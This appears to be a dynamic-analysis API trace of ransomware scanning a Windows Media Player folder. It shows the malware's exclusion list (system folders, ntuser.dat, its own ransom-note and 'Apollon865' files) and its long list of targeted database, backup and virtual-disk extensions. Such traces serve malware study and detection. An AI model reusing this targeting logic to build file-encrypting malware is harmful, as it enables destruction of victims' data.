	[0052.438] lstrlenW (lpString=".sys") returned 4
	[0052.438] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2=".sys") returned 1
	[0052.438] lstrlenW (lpString="mpvis.dll.mui") returned 13
	[0052.438] lstrlenW (lpString="bak") returned 3
	[0052.438] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1
	[0052.438] lstrlenW (lpString="ba_") returned 3
	[0052.438] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1
	[0052.438] lstrlenW (lpString="dbb") returned 3
	[0052.438] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1
	[0052.438] lstrlenW (lpString="vmdk") returned 4
	[0052.438] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1
	[0052.439] lstrlenW (lpString="rar") returned 3
	[0052.439] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1
	[0052.439] lstrlenW (lpString="zip") returned 3
	[0052.439] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1
	[0052.439] lstrlenW (lpString="tgz") returned 3
	[0052.439] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1
	[0052.439] lstrlenW (lpString="vbox") returned 4
	[0052.439] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1
	[0052.439] lstrlenW (lpString="vdi") returned 3
	[0052.439] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1
	[0052.439] lstrlenW (lpString="vhd") returned 3
	[0052.439] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1
	[0052.439] lstrlenW (lpString="vhdx") returned 4
	[0052.439] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1
	[0052.439] lstrlenW (lpString="avhd") returned 4
	[0052.439] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1
	[0052.439] lstrlenW (lpString="db") returned 2
	[0052.439] lstrcmpiW (lpString1="ui", lpString2="db") returned 1
	[0052.439] lstrlenW (lpString="db2") returned 3
	[0052.439] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1
	[0052.439] lstrlenW (lpString="db3") returned 3
	[0052.439] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1
	[0052.439] lstrlenW (lpString="dbf") returned 3
	[0052.439] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1
	[0052.439] lstrlenW (lpString="mdf") returned 3
	[0052.439] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1
	[0052.439] lstrlenW (lpString="mdb") returned 3
	[0052.439] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1
	[0052.439] lstrlenW (lpString="sql") returned 3
	[0052.439] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1
	[0052.439] lstrlenW (lpString="sqlite") returned 6
	[0052.439] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1
	[0052.439] lstrlenW (lpString="sqlite3") returned 7
	[0052.439] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1
	[0052.439] lstrlenW (lpString="sqlitedb") returned 8
	[0052.439] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1
	[0052.440] lstrlenW (lpString="xml") returned 3
	[0052.440] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1
	[0052.440] lstrlenW (lpString="$er") returned 3
	[0052.440] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1
	[0052.440] lstrlenW (lpString="4dd") returned 3
	[0052.440] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1
	[0052.440] lstrlenW (lpString="4dl") returned 3
	[0052.440] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1
	[0052.440] lstrlenW (lpString="^^^") returned 3
	[0052.440] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1
	[0052.440] lstrlenW (lpString="abs") returned 3
	[0052.440] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1
	[0052.440] lstrlenW (lpString="abx") returned 3
	[0052.440] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1
	[0052.440] lstrlenW (lpString="accdb") returned 5
	[0052.440] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1
	[0052.440] lstrlenW (lpString="accdc") returned 5
	[0052.440] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1
	[0052.440] lstrlenW (lpString="accde") returned 5
	[0052.440] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1
	[0052.440] lstrlenW (lpString="accdr") returned 5
	[0052.440] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1
	[0052.440] lstrlenW (lpString="accdt") returned 5
	[0052.440] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1
	[0052.440] lstrlenW (lpString="accdw") returned 5
	[0052.440] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1
	[0052.440] lstrlenW (lpString="accft") returned 5
	[0052.440] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1
	[0052.440] lstrlenW (lpString="adb") returned 3
	[0052.440] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1
	[0052.440] lstrlenW (lpString="adb") returned 3
	[0052.440] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1
	[0052.440] lstrlenW (lpString="ade") returned 3
	[0052.440] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1
	[0052.440] lstrlenW (lpString="adf") returned 3
	[0052.440] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1
	[0052.441] lstrlenW (lpString="adn") returned 3
	[0052.441] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1
	[0052.441] lstrlenW (lpString="adp") returned 3
	[0052.441] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1
	[0052.441] lstrlenW (lpString="alf") returned 3
	[0052.441] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1
	[0052.441] lstrlenW (lpString="ask") returned 3
	[0052.441] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1
	[0052.441] lstrlenW (lpString="btr") returned 3
	[0052.441] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1
	[0052.441] lstrlenW (lpString="cat") returned 3
	[0052.441] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1
	[0052.441] lstrlenW (lpString="cdb") returned 3
	[0052.441] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1
	[0052.441] lstrlenW (lpString="ckp") returned 3
	[0052.441] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1
	[0052.441] lstrlenW (lpString="cma") returned 3
	[0052.441] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1
	[0052.441] lstrlenW (lpString="cpd") returned 3
	[0052.441] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1
	[0052.441] lstrlenW (lpString="dacpac") returned 6
	[0052.441] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1
	[0052.441] lstrlenW (lpString="dad") returned 3
	[0052.441] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1
	[0052.441] lstrlenW (lpString="dadiagrams") returned 10
	[0052.441] lstrcmpiW (lpString1="is.dll.mui", lpString2="dadiagrams") returned 1
	[0052.441] lstrlenW (lpString="daschema") returned 8
	[0052.441] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1
	[0052.441] lstrlenW (lpString="db-journal") returned 10
	[0052.441] lstrcmpiW (lpString1="is.dll.mui", lpString2="db-journal") returned 1
	[0052.441] lstrlenW (lpString="db-shm") returned 6
	[0052.441] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1
	[0052.441] lstrlenW (lpString="db-wal") returned 6
	[0052.441] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1
	[0052.441] lstrlenW (lpString="dbc") returned 3
	[0052.441] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1
	[0052.442] lstrlenW (lpString="dbs") returned 3
	[0052.442] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1
	[0052.442] lstrlenW (lpString="dbt") returned 3
	[0052.442] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1
	[0052.442] lstrlenW (lpString="dbv") returned 3
	[0052.442] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1
	[0052.442] lstrlenW (lpString="dbx") returned 3
	[0052.442] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1
	[0052.442] lstrlenW (lpString="dcb") returned 3
	[0052.442] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1
	[0052.442] lstrlenW (lpString="dct") returned 3
	[0052.442] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1
	[0052.442] lstrlenW (lpString="dcx") returned 3
	[0052.442] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1
	[0052.442] lstrlenW (lpString="ddl") returned 3
	[0052.442] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1
	[0052.442] lstrlenW (lpString="dlis") returned 4
	[0052.442] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1
	[0052.442] lstrlenW (lpString="dp1") returned 3
	[0052.442] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1
	[0052.442] lstrlenW (lpString="dqy") returned 3
	[0052.442] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1
	[0052.442] lstrlenW (lpString="dsk") returned 3
	[0052.442] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1
	[0052.442] lstrlenW (lpString="dsn") returned 3
	[0052.442] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1
	[0052.442] lstrlenW (lpString="dtsx") returned 4
	[0052.442] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1
	[0052.442] lstrlenW (lpString="dxl") returned 3
	[0052.442] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1
	[0052.442] lstrlenW (lpString="eco") returned 3
	[0052.442] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1
	[0052.442] lstrlenW (lpString="ecx") returned 3
	[0052.442] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1
	[0052.442] lstrlenW (lpString="edb") returned 3
	[0052.442] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1
	[0052.443] lstrlenW (lpString="epim") returned 4
	[0052.443] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1
	[0052.443] lstrlenW (lpString="fcd") returned 3
	[0052.443] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1
	[0052.443] lstrlenW (lpString="fdb") returned 3
	[0052.443] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1
	[0052.443] lstrlenW (lpString="fic") returned 3
	[0052.443] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1
	[0052.443] lstrlenW (lpString="flexolibrary") returned 12
	[0052.443] lstrcmpiW (lpString1="pvis.dll.mui", lpString2="flexolibrary") returned 1
	[0052.443] lstrlenW (lpString="fm5") returned 3
	[0052.443] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1
	[0052.443] lstrlenW (lpString="fmp") returned 3
	[0052.443] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1
	[0052.443] lstrlenW (lpString="fmp12") returned 5
	[0052.443] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1
	[0052.443] lstrlenW (lpString="fmpsl") returned 5
	[0052.443] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1
	[0052.443] lstrlenW (lpString="fol") returned 3
	[0052.443] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1
	[0052.443] lstrlenW (lpString="fp3") returned 3
	[0052.443] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1
	[0052.443] lstrlenW (lpString="fp4") returned 3
	[0052.443] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1
	[0052.443] lstrlenW (lpString="fp5") returned 3
	[0052.443] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1
	[0052.443] lstrlenW (lpString="fp7") returned 3
	[0052.443] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1
	[0052.443] lstrlenW (lpString="fpt") returned 3
	[0052.443] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1
	[0052.443] lstrlenW (lpString="frm") returned 3
	[0052.443] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1
	[0052.443] lstrlenW (lpString="gdb") returned 3
	[0052.443] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1
	[0052.443] lstrlenW (lpString="gdb") returned 3
	[0052.443] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1
	[0052.443] lstrlenW (lpString="grdb") returned 4
	[0052.444] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1
	[0052.444] lstrlenW (lpString="gwi") returned 3
	[0052.444] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1
	[0052.444] lstrlenW (lpString="hdb") returned 3
	[0052.444] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1
	[0052.444] lstrlenW (lpString="his") returned 3
	[0052.444] lstrcmpiW (lpString1="mui", lpString2="his") returned 1
	[0052.444] lstrlenW (lpString="ib") returned 2
	[0052.444] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1
	[0052.444] lstrlenW (lpString="idb") returned 3
	[0052.444] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1
	[0052.444] lstrlenW (lpString="ihx") returned 3
	[0052.444] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1
	[0052.444] lstrlenW (lpString="itdb") returned 4
	[0052.444] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1
	[0052.444] lstrlenW (lpString="itw") returned 3
	[0052.444] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1
	[0052.444] lstrlenW (lpString="jet") returned 3
	[0052.444] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1
	[0052.444] lstrlenW (lpString="jtx") returned 3
	[0052.444] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1
	[0052.444] lstrlenW (lpString="kdb") returned 3
	[0052.444] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1
	[0052.444] lstrlenW (lpString="kexi") returned 4
	[0052.444] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1
	[0052.444] lstrlenW (lpString="kexic") returned 5
	[0052.444] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1
	[0052.444] lstrlenW (lpString="kexis") returned 5
	[0052.444] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1
	[0052.444] lstrlenW (lpString="lgc") returned 3
	[0052.444] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1
	[0052.444] lstrlenW (lpString="lwx") returned 3
	[0052.444] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1
	[0052.444] lstrlenW (lpString="maf") returned 3
	[0052.444] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1
	[0052.445] lstrlenW (lpString="maq") returned 3
	[0052.445] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1
	[0052.445] lstrlenW (lpString="mar") returned 3
	[0052.445] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1
	[0052.445] lstrlenW (lpString="marshal") returned 7
	[0052.445] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1
	[0052.445] lstrlenW (lpString="mas") returned 3
	[0052.445] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1
	[0052.445] lstrlenW (lpString="mav") returned 3
	[0052.445] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1
	[0052.445] lstrlenW (lpString="maw") returned 3
	[0052.445] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1
	[0052.445] lstrlenW (lpString="mdbhtml") returned 7
	[0052.445] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1
	[0052.445] lstrlenW (lpString="mdn") returned 3
	[0052.445] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1
	[0052.445] lstrlenW (lpString="mdt") returned 3
	[0052.445] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1
	[0052.445] lstrlenW (lpString="mfd") returned 3
	[0052.445] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1
	[0052.445] lstrlenW (lpString="mpd") returned 3
	[0052.445] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1
	[0052.445] lstrlenW (lpString="mrg") returned 3
	[0052.445] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1
	[0052.445] lstrlenW (lpString="mud") returned 3
	[0052.445] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1
	[0052.445] lstrlenW (lpString="mwb") returned 3
	[0052.445] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1
	[0052.445] lstrlenW (lpString="myd") returned 3
	[0052.445] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1
	[0052.445] lstrlenW (lpString="ndf") returned 3
	[0052.445] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1
	[0052.445] lstrlenW (lpString="nnt") returned 3
	[0052.446] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1
	[0052.446] lstrlenW (lpString="nrmlib") returned 6
	[0052.446] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1
	[0052.446] lstrlenW (lpString="ns2") returned 3
	[0052.446] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1
	[0052.446] lstrlenW (lpString="ns3") returned 3
	[0052.446] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1
	[0052.446] lstrlenW (lpString="ns4") returned 3
	[0052.446] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1
	[0052.446] lstrlenW (lpString="nsf") returned 3
	[0052.446] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1
	[0052.446] lstrlenW (lpString="nv") returned 2
	[0052.446] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1
	[0052.446] lstrlenW (lpString="nv2") returned 3
	[0052.446] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1
	[0052.446] lstrlenW (lpString="nwdb") returned 4
	[0052.446] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1
	[0052.446] lstrlenW (lpString="nyf") returned 3
	[0052.446] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1
	[0052.446] lstrlenW (lpString="odb") returned 3
	[0052.446] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1
	[0052.446] lstrlenW (lpString="odb") returned 3
	[0052.446] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1
	[0052.446] lstrlenW (lpString="oqy") returned 3
	[0052.446] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1
	[0052.446] lstrlenW (lpString="ora") returned 3
	[0052.446] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1
	[0052.446] lstrlenW (lpString="orx") returned 3
	[0052.446] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1
	[0052.446] lstrlenW (lpString="owc") returned 3
	[0052.446] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1
	[0052.446] lstrlenW (lpString="p96") returned 3
	[0052.446] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1
	[0052.446] lstrlenW (lpString="p97") returned 3
	[0052.447] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1
	[0052.447] lstrlenW (lpString="pan") returned 3
	[0052.447] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1
	[0052.447] lstrlenW (lpString="pdb") returned 3
	[0052.447] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1
	[0052.447] lstrlenW (lpString="pdm") returned 3
	[0052.447] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1
	[0052.447] lstrlenW (lpString="pnz") returned 3
	[0052.447] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1
	[0052.447] lstrlenW (lpString="qry") returned 3
	[0052.447] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1
	[0052.447] lstrlenW (lpString="qvd") returned 3
	[0052.447] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1
	[0052.447] lstrlenW (lpString="rbf") returned 3
	[0052.447] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1
	[0052.447] lstrlenW (lpString="rctd") returned 4
	[0052.447] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1
	[0052.447] lstrlenW (lpString="rod") returned 3
	[0052.447] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1
	[0052.447] lstrlenW (lpString="rodx") returned 4
	[0052.447] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1
	[0052.447] lstrlenW (lpString="rpd") returned 3
	[0052.447] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1
	[0052.447] lstrlenW (lpString="rsd") returned 3
	[0052.447] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1
	[0052.447] lstrlenW (lpString="sas7bdat") returned 8
	[0052.447] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1
	[0052.447] lstrlenW (lpString="sbf") returned 3
	[0052.447] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1
	[0052.447] lstrlenW (lpString="scx") returned 3
	[0052.447] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1
	[0052.447] lstrlenW (lpString="sdb") returned 3
	[0052.447] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1
	[0052.447] lstrlenW (lpString="sdc") returned 3
	[0052.447] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1
	[0052.447] lstrlenW (lpString="sdf") returned 3
	[0052.448] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1
	[0052.448] lstrlenW (lpString="sis") returned 3
	[0052.448] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1
	[0052.448] lstrlenW (lpString="spq") returned 3
	[0052.448] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1
	[0052.448] lstrlenW (lpString="te") returned 2
	[0052.448] lstrcmpiW (lpString1="ui", lpString2="te") returned 1
	[0052.448] lstrlenW (lpString="teacher") returned 7
	[0052.448] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1
	[0052.448] lstrlenW (lpString="tmd") returned 3
	[0052.448] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1
	[0052.448] lstrlenW (lpString="tps") returned 3
	[0052.448] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1
	[0052.448] lstrlenW (lpString="trc") returned 3
	[0052.448] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1
	[0052.448] lstrlenW (lpString="trc") returned 3
	[0052.448] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1
	[0052.448] lstrlenW (lpString="trm") returned 3
	[0052.448] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1
	[0052.448] lstrlenW (lpString="udb") returned 3
	[0052.448] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1
	[0052.448] lstrlenW (lpString="udl") returned 3
	[0052.448] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1
	[0052.448] lstrlenW (lpString="usr") returned 3
	[0052.448] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1
	[0052.448] lstrlenW (lpString="v12") returned 3
	[0052.448] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1
	[0052.448] lstrlenW (lpString="vis") returned 3
	[0052.448] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1
	[0052.449] lstrlenW (lpString="vpd") returned 3
	[0052.449] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1
	[0052.449] lstrlenW (lpString="vvv") returned 3
	[0052.449] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1
	[0052.449] lstrlenW (lpString="wdb") returned 3
	[0052.449] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1
	[0052.449] lstrlenW (lpString="wmdb") returned 4
	[0052.449] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1
	[0052.449] lstrlenW (lpString="wrk") returned 3
	[0052.449] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1
	[0052.449] lstrlenW (lpString="xdb") returned 3
	[0052.449] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1
	[0052.449] lstrlenW (lpString="xld") returned 3
	[0052.449] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1
	[0052.449] lstrlenW (lpString="xmlff") returned 5
	[0052.449] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1
	[0052.449] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xdc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="setup_wm.exe.mui", cAlternateFileName="")) returned 1
	[0052.449] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.449] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="Apollon865.txt.exe") returned 1
	[0052.449] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".") returned 1
	[0052.449] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="..") returned 1
	[0052.449] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="windows") returned -1
	[0052.449] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="bootmgr") returned 1
	[0052.449] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="temp") returned -1
	[0052.449] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="pagefile.sys") returned 1
	[0052.449] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="boot") returned 1
	[0052.449] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="ids.txt") returned 1
	[0052.449] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="ntuser.dat") returned 1
	[0052.449] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="perflogs") returned 1
	[0052.449] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="MSBuild") returned 1
	[0052.449] lstrlenW (lpString="setup_wm.exe.mui") returned 16
	[0052.449] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui") returned 63
	[0052.449] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="setup_wm.exe.mui" | out: lpString1="setup_wm.exe.mui") returned="setup_wm.exe.mui"
	[0052.450] lstrlenW (lpString="setup_wm.exe.mui") returned 16
	[0052.450] lstrlenW (lpString="Apollon865") returned 10
	[0052.450] lstrcmpiW (lpString1="wm.exe.mui", lpString2="Apollon865") returned 1
	[0052.450] lstrlenW (lpString=".dll") returned 4
	[0052.450] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".dll") returned 1
	[0052.450] lstrlenW (lpString=".lnk") returned 4
	[0052.450] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".lnk") returned 1
	[0052.450] lstrlenW (lpString=".ini") returned 4
	[0052.450] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".ini") returned 1
	[0052.450] lstrlenW (lpString=".sys") returned 4
	[0052.450] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".sys") returned 1
	[0052.450] lstrlenW (lpString="setup_wm.exe.mui") returned 16
	[0052.450] lstrlenW (lpString="bak") returned 3
	[0052.450] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1
	[0052.450] lstrlenW (lpString="ba_") returned 3
	[0052.450] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1
	[0052.450] lstrlenW (lpString="dbb") returned 3
	[0052.450] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1
	[0052.450] lstrlenW (lpString="vmdk") returned 4
	[0052.450] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1
	[0052.450] lstrlenW (lpString="rar") returned 3
	[0052.450] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1
	[0052.450] lstrlenW (lpString="zip") returned 3
	[0052.450] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1
	[0052.450] lstrlenW (lpString="tgz") returned 3
	[0052.450] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1
	[0052.450] lstrlenW (lpString="vbox") returned 4
	[0052.450] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1
	[0052.450] lstrlenW (lpString="vdi") returned 3
	[0052.450] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1
	[0052.450] lstrlenW (lpString="vhd") returned 3
	[0052.450] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1
	[0052.450] lstrlenW (lpString="vhdx") returned 4
	[0052.450] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1
	[0052.450] lstrlenW (lpString="avhd") returned 4
	[0052.450] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1
	[0052.451] lstrlenW (lpString="db") returned 2
	[0052.451] lstrcmpiW (lpString1="ui", lpString2="db") returned 1
	[0052.451] lstrlenW (lpString="db2") returned 3
	[0052.451] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1
	[0052.451] lstrlenW (lpString="db3") returned 3
	[0052.451] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1
	[0052.451] lstrlenW (lpString="dbf") returned 3
	[0052.451] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1
	[0052.451] lstrlenW (lpString="mdf") returned 3
	[0052.451] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1
	[0052.451] lstrlenW (lpString="mdb") returned 3
	[0052.451] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1
	[0052.451] lstrlenW (lpString="sql") returned 3
